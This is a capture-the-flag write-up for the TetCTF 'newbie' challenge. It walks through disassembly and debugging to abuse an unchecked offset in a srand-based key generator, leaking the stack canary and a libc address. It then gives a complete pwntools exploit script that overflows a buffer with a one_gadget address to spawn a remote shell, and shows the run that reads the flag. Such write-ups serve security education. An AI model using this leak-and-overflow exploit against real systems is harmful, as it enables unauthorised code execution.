Summary: An ELF binary contains functionality to generate a ‘hashed’ identifier from two bytes of memory at an offset specified by the user. This ‘hashed’ identifier is generated by taking the two bytes as the seed to srand and running rand 32 times and using the result as the lookup value to a table. Precomputing these identifiers allows us to leak the stack canary and libc base address. These can then be used in a straightforward buffer overflow to obtain a shell.

Challenge Prompt


65 Solves
NewBie
100 Points
Service: nc 18.220.157.154 31337
or
Service: nc 3.22.71.49 31337
Binary
Author: @chung96vn

Attachment: challenge file

Solution

The provided tar.gz file contains the binary and server-side libc.

$ tar xvf newbie_a28e90077643a7ef3b2385863a23cbf9.tar.gz
newbie
libc-2.27.so

The main function is simple, calling a setup function, printing a banner, then calling another function with the meat of the logic.

Main function disassembly

This meaty function basically does the following things:

  1. Opens /dev/urandom, reads 10 bytes into a buffer.
  2. Goes into a while loop that reads 0x100 bytes from the user and checks if they match the following commands:
    • id <value> - If the first three bytes of the user input matches "id ", then the argument that follows is parsed using atoi and then stored.
    • create - Dereferences two bytes using the offset specified in the previous id call and passes it to a function.
    • quit - Breaks out of the loop.

Meaty function disassembly

Something to notice is that the function looks like it may be vulnerable to buffer overflow if we send a large amount of data then quit. This is confirmed with a simple test that also makes it obvious we need to leak the stack canary.

$ ./newbie
SECRET KEY GENERATOR
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Incorrect Syntax
> quit
*** stack smashing detected ***: ./newbie terminated
Aborted (core dumped)

If we dive into the create function, we can see that it uses the input as the argument to srand, then a string of length 32 is created from a character set by calling rand() % length of charset. This is then printed to the user.

Create function disassembly

$ ./newbie
SECRET KEY GENERATOR
> id 1
> create
Your key: ZNkTtC3qwy3WxftahlGRKluMBDcUuirI

Note that there is no bounds checking when the id value is passed. We can potentially use this to leak arbitrary memory contents from an offset by precomputing all possible 2**16 ‘hashes’ and requesting for two bytes at a time.

There are two things we want to leak:

  1. The stack canary.
  2. A libc address.

Let’s start by debugging the binary and using id 0 before create to examine the memory layout. With an offset of 0, the two byte value looks to be 0x0000000000009f12.

Debugging the address passed to create function

If we look for occurences of this value, it appears in the stack at address 0x7fffffffe2b6.

Grepping for occurrences of the value

Examining the contents of the stack around that address gives us these values. To validate this hypothesis, we can try to look at id 1 where we expect the value to be 0x0549.

Examining the stack at the occurence of the value

This is exactly what we see when we test that out.

Confirming the base address of the buffer

Given that we know the value of the base buffer to be 0x7fffffffe2b6, we can now look for occurrences of the stack canary on the stack to determine the required offset. Since we are looking for one after the buffer, the most likely usable one is 0x7fffffffe318.

Finding occurences of the stack canary

This is 98 bytes away from the buffer, hence to leak the entire stack canary, we need to probe offsets 49, 50, 51, 52. We have our stack canary leak now.

In [461]: 0x7fffffffe318 - 0x7fffffffe2b6
Out[461]: 98

Next, we want to leak something from libc. Something we know that’s definitely on the stack is the return address back into __libc_start_main from the main function. Searching for it tells us that it is at the stack address 0x7fffffffe348.

Looking for the saved return value into main.

Great, this is 146 bytes away from the buffer. Thus, we have to leak offsets 73, 74, 75, 76 to obtain the full value.

In [465]: 0x7fffffffe348 - 0x7fffffffe2b6
Out[465]: 146

Putting all of this together into an exploit, we have:

#!/usr/bin/env python

from pwn import *
from one_gadget import generate_one_gadget

import ctypes


charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
stack_canary_offset = 49
stack___libc_start_main_offset = 73
hashes = {}
# context.log_level = 'debug'


def leak(p, offset, toggle_zero=True):
    '''Leaks 2 bytes at an offset << 1.
    '''
    p.recvuntil(b'> ')
    p.sendline(b'id ' + str(offset).encode())
    p.recvuntil(b'> ')
    p.sendline(b'create')
    p.recvuntil(b'Your key: ')
    key = p.recvline().strip().decode()
    value = hashes[key]
    # Correct for the 1 and 0 collision.
    if value == 1 and toggle_zero:
        value = 0
    log.info('Offset {}: {} ({})'.format(offset, key, hex(value)))
    return value


def precompute():
    '''Pre-compute the 'hashes'
    '''
    libc = ctypes.cdll.LoadLibrary("libc.so.6")
    global hashes
    for i in range(0xffff+1):
        libc.srand(i)
        val = ''
        for j in range(32):
            val += charset[libc.rand() % len(charset)]
        hashes[val] = i
    log.info("Computed {} hashes.".format(len(hashes)))


def main():
    precompute()

    # Find the magic one gadget in the provided libc.
    libc_path = './libc-2.27.so'
    # libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
    magic_offset = next(generate_one_gadget(libc_path))
    log.info('Found magic one gadget at offset: {}'.format(hex(magic_offset)))

    # Get the __libc_start_main offset
    libc_elf = ELF(libc_path)
    __libc_start_main_offset = libc_elf.libc_start_main_return
    log.info('__libc_start_main_offset: {}'.format(hex(__libc_start_main_offset)))

    # Start the program.
    # p = process("./newbie")
    p = remote('18.191.117.63', 31337)

    # Leak the canary.
    canary = 0
    for i in range(4):
        canary += (leak(p, stack_canary_offset + i)) << (16 * i)
    log.info('Leaked canary: {}'.format(hex(canary)))

    # Leak the __libc_start_main return value.
    __libc_start_main = 0
    for i in range(4):
        __libc_start_main += (leak(p, stack___libc_start_main_offset + i)) << (16 * i)
    log.info('Leaked __libc_start_main: {}'.format(hex(__libc_start_main)))
    libc_base = __libc_start_main - __libc_start_main_offset
    log.info('libc base address: {}'.format(hex(libc_base)))
    magic = libc_base + magic_offset
    log.info('Magic one gadget address: {}'.format(hex(magic)))

    # Trigger the buffer overflow.
    p.recvuntil(b'> ')
    payload = b'A'* 88 + p64(canary) + p64(0x4242424242424242) + p64(magic)
    p.sendline(payload)

    # Quit to return.
    p.recvuntil(b'> ')
    p.sendline(b'quit')
    log.success("Shell spawned! Enjoy!")

    p.interactive()


if __name__ == '__main__':
    main()

Running the script gives us the flag:

[email protected]:/vagrant/tetctf/newbie$ python exploit.py
[*] Computed 65535 hashes.
[*] Found magic one gadget at offset: 0x4f432
[*] '/vagrant/tetctf/newbie/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] __libc_start_main_offset: 0x21bf7
[+] Opening connection to 18.191.117.63 on port 31337: Done
[*] Offset 49: LApmeIwPVRvBimHy6V7jRifniOTe7NBG (0xc100)
[*] Offset 50: henRdEDwBeIMjzAvEudyFn76uTxTBkKi (0xd80c)
[*] Offset 51: 6JbEAh0e88NItAu5hKAY2wB2lSperfNn (0xf4a7)
[*] Offset 52: tqfR2IdzzMKJDfptV4s3imx0OPmk5yvo (0x1ae)
[*] Leaked canary: 0x1aef4a7d80cc100
[*] Offset 73: IUm4PsKcRdQCYgkI203pmyJk9KmqZ33h (0x2bf7)
[*] Offset 74: rzikY2f8hfX3SsEjQPqd2yzF5Z3OdtcI (0x6d50)
[*] Offset 75: gS0gzFoAuPb6O2AqmPcfd9VHdLphzi2W (0x7f14)
[*] Offset 76: pkDHTxmMR18N2l9k88EmLgN7cCCTt9rW (0x0)
[*] Leaked __libc_start_main: 0x7f146d502bf7
[*] libc base address: 0x7f146d4e1000
[*] Magic one gadget address: 0x7f146d530432
[+] Shell spawned! Enjoy!
[*] Switching to interactive mode
$ ls -la /home/
total 12
drwxr-xr-x 1 root root   4096 Dec 31 13:01 .
drwxr-xr-x 1 root root   4096 Dec 31 13:01 ..
drwxr-xr-x 1 root newbie 4096 Dec 31 13:01 newbie
$ cd /home/newbie
$ ls -la
total 36
drwxr-xr-x 1 root newbie  4096 Dec 31 13:01 .
drwxr-xr-x 1 root root    4096 Dec 31 13:01 ..
-rw-r--r-- 1 root newbie   220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 root newbie  3771 Apr  4  2018 .bashrc
-rw-r--r-- 1 root newbie   807 Apr  4  2018 .profile
-rw-r----- 1 root newbie    34 Dec 31 12:54 flag
-rwxr-xr-x 1 root newbie 10216 Dec 31 12:54 newbie
$ cat flag
TetCTF{Challenge_f0r_n3wbie_Akwpa}

Flag: TetCTF{Challenge_f0r_n3wbie_Akwpa}

Leave a Comment